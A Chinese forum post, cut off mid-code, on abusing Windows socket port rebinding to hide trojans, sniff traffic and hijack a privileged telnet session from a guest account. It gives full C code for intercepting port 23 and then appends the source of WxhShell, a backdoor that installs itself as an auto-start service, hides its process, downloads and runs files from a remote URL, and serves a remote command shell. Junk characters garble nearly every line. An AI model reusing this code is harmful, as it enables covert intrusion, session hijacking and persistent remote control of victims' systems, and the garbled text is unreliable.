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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L.*M&Ry  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3z{?_;bR  
1W^t aJH]  
  saddr.sin_family = AF_INET; i@"@9n~  
M_/7D|xl/T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QI'Oz{vE  
Vt:~q{9*k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iT gt}]L  
PNgY >=Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W$hx,VEy`  
-*Xa3/kQ  
  这意味着什么?意味着可以进行如下的攻击: ;- ~B)M_S`  
tE<H|_{L  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K*K,}W&}  
D#cyOrzy  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RzE_K'M  
saBVgSd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]%@M>?Ywc  
4i)1'{e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %[Wh [zZy  
\XCe22x]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 EE&K0<?T|:  
GfoLae  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [8 ]z|bM  
@\0ez<.p}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bnf'4PAt  
/?5 1D@  
  #include +Vb.lH[av  
  #include LDgrR[  
  #include }~e8e   
  #include    2=,lcWr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5Dm.K?l;  
  int main() >%}C^gu)  
  { z+0I#kM"1  
  WORD wVersionRequested; 3]}D`Qs6  
  DWORD ret; % ?0:vn  
  WSADATA wsaData; %9KldcQ}~  
  BOOL val; N7b8m?!  
  SOCKADDR_IN saddr; {f3YsM;]C  
  SOCKADDR_IN scaddr; 3% #3iZ=_  
  int err; nv*FT  
  SOCKET s; +rd|A|hRq  
  SOCKET sc; vyNxT*,[K  
  int caddsize; sBj(Qd  
  HANDLE mt; _hAcJ{Y  
  DWORD tid;   5d Eh7XL  
  wVersionRequested = MAKEWORD( 2, 2 ); SYAyk  
  err = WSAStartup( wVersionRequested, &wsaData ); Pr':51(  
  if ( err != 0 ) { a!6{:8Zi0  
  printf("error!WSAStartup failed!\n"); deBY5|  
  return -1; wN_Vfb  
  } 9UdM`v)(  
  saddr.sin_family = AF_INET; rK'L6o  
   =upeRY@u5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u^@f&BIG]:  
}eCw6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); > kG GR  
  saddr.sin_port = htons(23); '\l"   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "jeb%k  
  { Qp)v?k ]  
  printf("error!socket failed!\n"); Vz~{UHH6  
  return -1; ?8npG]L)  
  } @'#,D!U  
  val = TRUE; UdT *E: 6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 uw>Ba %5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g1/:Q%R,  
  { pnl{&<$C%C  
  printf("error!setsockopt failed!\n"); jwc)Lj}  
  return -1; E:UW#S%A f  
  } [A+ >^ {  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; orzZ{87  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >,V9H$n  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p|X"@kuseO  
?A K(|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T,,WoPU8t  
  { yr)G]K[/  
  ret=GetLastError(); %P;lv*v.  
  printf("error!bind failed!\n"); |HiE@  
  return -1; y`Wty@  
  } <Th6r.#?  
  listen(s,2); yZ0-wI  
  while(1) I&D5;8  
  { ,?J!  
  caddsize = sizeof(scaddr); e(]!GA  
  //接受连接请求 ePOG}k($/%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ],@rS9K  
  if(sc!=INVALID_SOCKET) ,Xu-@br{  
  { "Gsc;X'id  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;5]Lf$tZ  
  if(mt==NULL) i?p$H0b n  
  { |kyX3~  
  printf("Thread Creat Failed!\n"); j$M h + 5  
  break; q}i]'7  
  } F|S Xn\  
  } U$O\f18  
  CloseHandle(mt); m ifxiV  
  } wT6"U$cV  
  closesocket(s); pj\u9 L_  
  WSACleanup(); \\iQEy<i  
  return 0; FvaUsOy "  
  }   [>jbhV'  
  DWORD WINAPI ClientThread(LPVOID lpParam) pR*VdC _mY  
  { jZu[n)u'C  
  SOCKET ss = (SOCKET)lpParam; {3|t;ZHk  
  SOCKET sc; |B?cVc0  
  unsigned char buf[4096]; qmkAg }2  
  SOCKADDR_IN saddr; HZ aV7dOZ8  
  long num; _F6OM5F"N  
  DWORD val; :i0uPh\0  
  DWORD ret; !EvAB+`jLI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !y\'EW3|G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   XQY#716)  
  saddr.sin_family = AF_INET; A=$04<nP8!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W>${zVu  
  saddr.sin_port = htons(23); ^=GC3%  J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ui< N[  
  { |UkR'Ma  
  printf("error!socket failed!\n"); Gt\lFQ  
  return -1; a!zz6/q[  
  } D#_3^Kiawj  
  val = 100; .<->C?#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4X!/hI=jq  
  { 7BE>RE=)  
  ret = GetLastError(); xs{3pkTYD  
  return -1; ]N~2 .h  
  } $h+1u$po  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .T}Wdn g  
  { QVv#fy1"6  
  ret = GetLastError(); u }#(.)a:  
  return -1; 1vS#K=sb  
  } Ow+GS{-q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ] ]u s %  
  { 1auIR/=-  
  printf("error!socket connect failed!\n"); iW)8j 8  
  closesocket(sc); 6/f7<  
  closesocket(ss); k9<;woOBO  
  return -1; 35h 8O,Y  
  } +jAGGv^)  
  while(1) fW{(lPx  
  { oI?3<M^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S(k3 `;K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^%d\qd`   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YX!{P=Ua  
  num = recv(ss,buf,4096,0); zykT*V  
  if(num>0) hwPw]Ln/  
  send(sc,buf,num,0); ~Q Oe##  
  else if(num==0) F|IAiE  
  break; @D]5civm_  
  num = recv(sc,buf,4096,0); ^ sOQi6pL  
  if(num>0) X1DF*wI  
  send(ss,buf,num,0); &xU[E!2H%  
  else if(num==0) qSM|hHDo)  
  break; cutuDZ  
  } {AhthR%(1  
  closesocket(ss);  U'k*_g  
  closesocket(sc); A` N,  
  return 0 ; TEP,Dq  
  } ;dkYf24  
T]^62(So  
)%`c_FL@N=  
========================================================== & DS/v)]  
xzdf^Ce  
下边附上一个代码,,WXhSHELL GF"hx`zyJ  
{dhXIs  
========================================================== _:ReN_0  
-Fi`Z$  
#include "stdafx.h" KWq+PeB5TS  
dph{74Dc  
#include <stdio.h> '3R`lv   
#include <string.h> OyStqi  
#include <windows.h> )\1QJ$-M&  
#include <winsock2.h> U#0Q)  
#include <winsvc.h> 46}g7skD  
#include <urlmon.h> .O DU  
]MqMQLG0t  
#pragma comment (lib, "Ws2_32.lib") OsTc5K.U~  
#pragma comment (lib, "urlmon.lib") H[NSqu.s  
7!e vm;A  
#define MAX_USER   100 // 最大客户端连接数 7z%L*z8V  
#define BUF_SOCK   200 // sock buffer C>ICu*PW  
#define KEY_BUFF   255 // 输入 buffer a]$1D!Anc  
jrCfWa}z  
#define REBOOT     0   // 重启 ML}J\7R  
#define SHUTDOWN   1   // 关机 pf]xqhL  
]l;o}+`G  
#define DEF_PORT   5000 // 监听端口 w VvF^VHV^  
%h hfU6[  
#define REG_LEN     16   // 注册表键长度 ]RwpX ^ 1  
#define SVC_LEN     80   // NT服务名长度 ,bZL C  
N,<uf@LQ  
// 从dll定义API C+* d8_L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FDv<\2+ c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OstQqV%@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a Fl;BhM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i"1Mfz~e  
O+nEXS\rQ  
// wxhshell配置信息 jkQ*D(;p  
struct WSCFG { t^UxR@l<K|  
  int ws_port;         // 监听端口 ud63f` W]4  
  char ws_passstr[REG_LEN]; // 口令 JL`-0P<M  
  int ws_autoins;       // 安装标记, 1=yes 0=no z$&{:\hj  
  char ws_regname[REG_LEN]; // 注册表键名 aKJwofD  
  char ws_svcname[REG_LEN]; // 服务名 L{#IT.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %gInje  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /RG:W0=K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2\)xpOj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =R^%(Py  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9G9t" {  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?L x24*5%  
.zr-:L5{  
}; $6qh| >z.  
gLb`pCo/  
// default Wxhshell configuration 2ElJbN#  
struct WSCFG wscfg={DEF_PORT, ~b(i&DVK  
    "xuhuanlingzhe", @tF\p  
    1, 2my_;!6T[  
    "Wxhshell", 8mCxn@yV  
    "Wxhshell", EHSlK5bD,  
            "WxhShell Service", OP;v bZ  
    "Wrsky Windows CmdShell Service", _Mi5g_  
    "Please Input Your Password: ", j9m_jv  
  1, 0!D4pvlt  
  "http://www.wrsky.com/wxhshell.exe", u6J8"< -W  
  "Wxhshell.exe" c\/=iVw,  
    }; :v YYfs&  
E}%B;"b/Tj  
// 消息定义模块 {Je[ZQ$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?)/#+[xa  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W=ig.-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  52Yq  
char *msg_ws_ext="\n\rExit."; #`~C)=-  
char *msg_ws_end="\n\rQuit."; f<-Jg  
char *msg_ws_boot="\n\rReboot..."; pLl(iNf]  
char *msg_ws_poff="\n\rShutdown..."; s'3 s^Dd  
char *msg_ws_down="\n\rSave to "; [RS|gem`  
oph}5Krd)  
char *msg_ws_err="\n\rErr!"; ;^+\K-O]c  
char *msg_ws_ok="\n\rOK!"; .7^c@i[  
'"`IC\N^  
char ExeFile[MAX_PATH]; R1Pk TZP&  
int nUser = 0; <g-9T-Ky  
HANDLE handles[MAX_USER]; O],T,Z?z  
int OsIsNt; LhN|1f:9:  
C=-=_>Q,L<  
SERVICE_STATUS       serviceStatus; 3W V"U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zlyS}x@p  
'-wj9OU  
// 函数声明 ( B!uy`  
int Install(void); n*o-Lo+Fe.  
int Uninstall(void); f0!))/rSD  
int DownloadFile(char *sURL, SOCKET wsh); ~cWAl,(B<F  
int Boot(int flag); _,kj:R.  
void HideProc(void); /pm]BC  
int GetOsVer(void); CMe 06^U   
int Wxhshell(SOCKET wsl); rr/B= O7  
void TalkWithClient(void *cs); XWn VgY s  
int CmdShell(SOCKET sock); 5CuuG<0  
int StartFromService(void); X3(tuqmi  
int StartWxhshell(LPSTR lpCmdLine); {vs uPY  
|U~<3.:m:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lVd^ ^T*fh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *F WMn.  
+2(I1  
// 数据结构和表定义 '-QwssE  
SERVICE_TABLE_ENTRY DispatchTable[] = 02Y]`CXj  
{ ~Cbc<[}  
{wscfg.ws_svcname, NTServiceMain}, Cmu@4j&  
{NULL, NULL} iky|Tp  
}; w?3p';C  
ysJQb~2q  
// 自我安装 >u>5{4  
int Install(void) )S3\,S-.  
{ >1s* at/h  
  char svExeFile[MAX_PATH]; >/{@C  
  HKEY key; 9K.Vb1&  
  strcpy(svExeFile,ExeFile); &]V.S7LC #  
7Sf bx~48  
// 如果是win9x系统,修改注册表设为自启动 Uq[>_"}  
if(!OsIsNt) { B{/R: Hm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8Pfb~&X^Ws  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y5f1lUT  
  RegCloseKey(key); Q}`0W[a ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @>u}eB>Kn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,NOsFO-`<  
  RegCloseKey(key); ~Io7]  
  return 0; j_/>A=OD  
    } *lYVY) L  
  } -^K"ZP1  
} Amp#GR1CA  
else { y?rPlA_  
\j+1V1t9  
// 如果是NT以上系统,安装为系统服务 iMAfJ-oN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'g6\CZw(#  
if (schSCManager!=0) tG:25T0  
{ .>q8W  
  SC_HANDLE schService = CreateService .rO]M:UY  
  ( S3F;(PDzy  
  schSCManager, r~E=4oB7  
  wscfg.ws_svcname, dFRsm0T  
  wscfg.ws_svcdisp, 6RG)` bu  
  SERVICE_ALL_ACCESS, iyA'#bE-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C\\~E9+  
  SERVICE_AUTO_START, :=}BN  
  SERVICE_ERROR_NORMAL, .@2m07*1  
  svExeFile, XQ#;Zs/l  
  NULL, P !AEf#1  
  NULL, 3("_Z%  
  NULL, f6EZ( v  
  NULL, \"qY"V  
  NULL Vl5`U'^qx  
  ); ) dn(G@5  
  if (schService!=0) T m,b,hi$  
  { 2- &k^Gl!:  
  CloseServiceHandle(schService); nx@=>E+a  
  CloseServiceHandle(schSCManager); g~Z vA(`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 56}U8X  
  strcat(svExeFile,wscfg.ws_svcname); NYyh|X:m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gRrL[z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |^0XYBxQ  
  RegCloseKey(key); H]P. x!I  
  return 0; J cPtwa;q@  
    } *,3SGcYdJj  
  } D~biKrg?=  
  CloseServiceHandle(schSCManager); [6pD  
} pN!}UqfI-  
} 'ZT^PV \  
1Y/s%L  
return 1; +vvv[  
} ;QWIsVz  
dpJ_r>NI  
// 自我卸载 m/Oh\KlIl  
int Uninstall(void) 4 kn|^  
{ (gEBOol  
  HKEY key; N< |@ymi  
kEJj=wx  
if(!OsIsNt) { .GV;+8HzS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zepm!JR1  
  RegDeleteValue(key,wscfg.ws_regname); x%}^hiO<q  
  RegCloseKey(key); 5}:-h>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?u-|>N>  
  RegDeleteValue(key,wscfg.ws_regname); fo5iJz"Z  
  RegCloseKey(key); hq%?=2'9?  
  return 0; o%v0h~tn  
  } >,TUZ  
} V:qSy#e  
} vBRQp&YwX  
else { J3,fk)  
n\QgOSr<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |h-QP#]/  
if (schSCManager!=0) 0Z~p%C<LW  
{ e7@ojOQ%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0vFD3}~>  
  if (schService!=0) FQm`~rA~zt  
  { Qi^Z11  
  if(DeleteService(schService)!=0) { <L`KzaA  
  CloseServiceHandle(schService); `2'#! -  
  CloseServiceHandle(schSCManager); `rgn<I"  
  return 0; RzBF~2 >i  
  } 9}l33T4T  
  CloseServiceHandle(schService); .>CPRVuVI  
  } H!?c\7adX  
  CloseServiceHandle(schSCManager); U@g4w!$r  
} !HrKXy 0{  
} l9}3XI.=  
q'|rgT  
return 1; pczug-nB  
} lH#u  
GO8GJ;B-U  
// 从指定url下载文件 `)` n(B  
int DownloadFile(char *sURL, SOCKET wsh) 0C1pt5K  
{ o4j[p3$  
  HRESULT hr; cimp/n"  
char seps[]= "/"; %{ABaeb]  
char *token; d^RxQuA  
char *file; IHe/xQ@  
char myURL[MAX_PATH]; `Zf^E >)  
char myFILE[MAX_PATH]; ~$ng^D  
J]v%q,"  
strcpy(myURL,sURL); aIJt0;  
  token=strtok(myURL,seps); ~5_Ad\n9  
  while(token!=NULL) pv*,gSS  
  { 18~>ZR  
    file=token; (}a8"]Z  
  token=strtok(NULL,seps); 9bP^`\K[N  
  } q-.,nMUF  
gGr^@=;YC  
GetCurrentDirectory(MAX_PATH,myFILE); |k+8<\  
strcat(myFILE, "\\"); ?,p;O  
strcat(myFILE, file); +,2:g}5  
  send(wsh,myFILE,strlen(myFILE),0); )T';qm0w  
send(wsh,"...",3,0); RM K"o?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eb.O#Y  
  if(hr==S_OK) 3x5JFM  
return 0; [baiH|5>  
else !+1<E*NQ S  
return 1; uZc`jNc\  
ZNf6;%oGG  
} {)"iiJ  
'>&^zgr  
// 系统电源模块 } ~h3c|  
int Boot(int flag) d p2F  
{ #1`-*.u  
  HANDLE hToken; >xF/Pl  
  TOKEN_PRIVILEGES tkp; #N#'5w-G  
FuVnk~gq  
  if(OsIsNt) { .$Ik`[+Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (&}i`}v_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,a gc  
    tkp.PrivilegeCount = 1; qDv93  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9F4Dm*_<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <\Eh1[F  
if(flag==REBOOT) { 'ixwD^x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {XNREjhm  
  return 0; hJn%mdx~w|  
} R<[qGt|L  
else { :A1{d?B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Qy.w=80kf  
  return 0; "5-^l.CKH  
} V^JV4 `o  
  } 6I1,:nLL<  
  else { )=5ng-  
if(flag==REBOOT) { 3{ LP?w:@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1 y-y6q  
  return 0; ;ado0-VQi'  
} T^w36}a  
else { LJ*q1 ;<E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t *1u[~=  
  return 0; 5|l* `J)  
} e?opkq\f  
} IIg^FZ*]_  
LNrX;{ Z  
return 1; j<u@j+V  
} 9/hrjItV  
OlAs'TE^  
// win9x进程隐藏模块 Q?3Gk%T0[  
void HideProc(void) Qk\A c  
{ \=uKHNP?#  
?*E'^~,H)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t"k*PA  
  if ( hKernel != NULL ) IqC]!H0  
  { }D7I3]2>   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b+@JY2dvj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0|$v-`P$  
    FreeLibrary(hKernel); odPL {XFj  
  } %K\?E98M  
R(2tlZ  
return; Cz 72?[6  
} +)j$|x~(A  
q0$ !y!~  
// 获取操作系统版本 (>VX-Y/  
int GetOsVer(void) u#Z#)3P  
{ 0Uz\H0T1  
  OSVERSIONINFO winfo; UG2nX3?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p /#$io  
  GetVersionEx(&winfo); Rniq(FA x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rypTKT|U;  
  return 1; &m|wH4\  
  else |_`E1Y}}  
  return 0; R$[#+X!  
} r.#t63Rb  
f2^r[kPX"  
// 客户端句柄模块 wtc!>  
int Wxhshell(SOCKET wsl) r9 ui|>U"  
{ 3E>frR\!I  
  SOCKET wsh; !R1.7}O  
  struct sockaddr_in client; h&Efg   
  DWORD myID; |`lzfe  
3=Cc.a/3  
  while(nUser<MAX_USER) oXxCXO,q  
{ &e;=cAXG  
  int nSize=sizeof(client); F{eU";D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }RHn)}+  
  if(wsh==INVALID_SOCKET) return 1; LUC4=kk4   
^j" .  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L5#P[cHzz  
if(handles[nUser]==0) QAvir%Y9Q  
  closesocket(wsh); ]@uE #a:[  
else |g #K]v  
  nUser++; ^go7_y  
  } :E>HE,1b+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5e$~)fL  
F8;dKyT?q  
  return 0; dl ~%MWAVb  
} ?gJy3@D  
6`]$qSTS  
// 关闭 socket A8pIs  
void CloseIt(SOCKET wsh) D9FJ 1~  
{ {_S}H1,  
closesocket(wsh); zipS ]YD  
nUser--; =dII- L=`  
ExitThread(0); )yTm.F  
} QNA RkYY~|  
,Fi>p0bz  
// 客户端请求句柄 HYD"#m'TkB  
void TalkWithClient(void *cs) >B2:kY F  
{ W Dg+J  
$OP7l>KZY  
  SOCKET wsh=(SOCKET)cs; >2,Gy-&"0  
  char pwd[SVC_LEN]; }; f#^gz'  
  char cmd[KEY_BUFF]; >y[oP!-|P  
char chr[1]; 9'{}!-(xR  
int i,j; l2l(_$@3  
q|8{@EMT  
  while (nUser < MAX_USER) { M-[ $L XR  
Zf'TJ `S  
if(wscfg.ws_passstr) { i K12 pw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S(uf(q|{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'UMXq~RMe  
  //ZeroMemory(pwd,KEY_BUFF); gFHT G  
      i=0; ,4ei2`wV  
  while(i<SVC_LEN) { sO.`x*  
<o+<H  
  // 设置超时 k'#(1(xj  
  fd_set FdRead; ;gs ^%z  
  struct timeval TimeOut; E;1Jh(58)b  
  FD_ZERO(&FdRead); ]p;FZ4-T  
  FD_SET(wsh,&FdRead); tkXEHsRT  
  TimeOut.tv_sec=8; ;$a@J&  
  TimeOut.tv_usec=0; mZx&Xez_G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cZT({uYGL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RTv qls  
lWqrU1Sjl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); # g_Bx  
  pwd=chr[0]; RB+N IoQQ|  
  if(chr[0]==0xd || chr[0]==0xa) { hWKJ,r%9;  
  pwd=0; |i ZfYi&^  
  break; t`+'r}=d  
  } h}]fn A  
  i++; ~M\I;8ne  
    } 7DIIx}A  
4"xPr[=iG  
  // 如果是非法用户,关闭 socket cCa|YW^j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NcP.;u;`  
} {; .T7dL  
Oi:<~E[kz.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ur5FC r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  +QE^\a  
1.gG^$Jd  
while(1) { +3&z N(  
zkO<-w  
  ZeroMemory(cmd,KEY_BUFF); ] Puy!Q  
bd<m%OM""  
      // 自动支持客户端 telnet标准   &NSY9'N,  
  j=0; Fr%d}g  
  while(j<KEY_BUFF) { I(9R~q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {'AWZ(  
  cmd[j]=chr[0]; _z54Ycr4H  
  if(chr[0]==0xa || chr[0]==0xd) { ?gwUwOV"  
  cmd[j]=0; !vk|<P1  
  break; mWyqG*-Hb  
  } #vzEu )Ul  
  j++; !YP@m~  
    } H_0/f8GwnG  
*FmTy|  
  // 下载文件 8X I?  
  if(strstr(cmd,"http://")) { P(;?kg}0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VwEb7v,^0\  
  if(DownloadFile(cmd,wsh)) P0$e~=Q^4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,9P:Draxs`  
  else ixV0|P8,c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r YF #^  
  } i,|0@Vy  
  else { OQ,NOiNkap  
?_v{| YI=  
    switch(cmd[0]) { V13BB44  
  @c ~)W8  
  // 帮助 RGK8'i/X  
  case '?': { Q6XRsFc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a&k_=/X&  
    break; r%e KFS  
  } XfKo A0  
  // 安装 V~ TWKuR  
  case 'i': { TO-nD>  
    if(Install()) J!5v~<v?-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P<Zh XN'  
    else lw :`M2P,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MCT'Nw@A  
    break; qVdwfT{1J  
    } B}eA\O4}I  
  // 卸载 UK{irU|\  
  case 'r': { -_<}$9lz  
    if(Uninstall()) |Xw/E)jA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '}rRzD:  
    else Q43|U4a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4]/7 )x?R  
    break; p2N:;lXM  
    } I(S)n+E  
  // 显示 wxhshell 所在路径 Vf`7V$sr  
  case 'p': { 5BR2?hO4  
    char svExeFile[MAX_PATH]; wP57Pf0  
    strcpy(svExeFile,"\n\r"); [j"9rO" +  
      strcat(svExeFile,ExeFile); *#TYqCc+g  
        send(wsh,svExeFile,strlen(svExeFile),0); {VP$J"\e  
    break; XK"-'  
    } 5"/J^"!h  
  // 重启 .7 asW(  
  case 'b': { *c)uGz'cD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /1 RAAa  
    if(Boot(REBOOT)) \V>?Do7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +`sv91c  
    else { gt\MS;jMa  
    closesocket(wsh); St<mDTi  
    ExitThread(0); .@"q$\  
    } >I<r)w]  
    break; )?2e  
    } < F )_!0C  
  // 关机 0A:n0[V:]  
  case 'd': { fGv#s X  
